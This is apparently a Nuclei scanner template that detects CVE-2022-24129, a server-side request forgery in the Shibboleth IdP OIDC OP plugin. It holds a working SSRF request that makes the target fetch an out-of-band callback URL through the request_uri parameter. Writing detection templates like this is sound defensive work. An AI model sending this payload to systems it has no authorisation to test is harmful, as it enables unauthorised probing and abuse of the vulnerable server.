id: CVE-2022-24129

info:
  name: Shibboleth OIDC OP <3.0.4 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: The Shibboleth Identity Provider OIDC OP plugin before 3.0.4 is vulnerable to server-side request forgery (SSRF) due to insufficient restriction of the request_uri parameter, which allows attackers to interact with arbitrary third-party HTTP services.
  reference:
    - https://github.com/sbaresearch/advisories/tree/public/2022/SBA-ADV-20220127-01_Shibboleth_IdP_OIDC_OP_Plugin_SSRF
    - https://shibboleth.atlassian.net/wiki/spaces/IDPPLUGINS/pages/1376878976/OIDC+OP
    - http://shibboleth.net/community/advisories/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24129
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2022-24129
    cwe-id: CWE-918
  tags: cve,cve2022,ssrf,oidc,shibboleth

requests:
  - method: GET
    path:
      - '{{BaseURL}}/idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "ShibbolethIdp"

# Enhanced by mp on 2022/07/15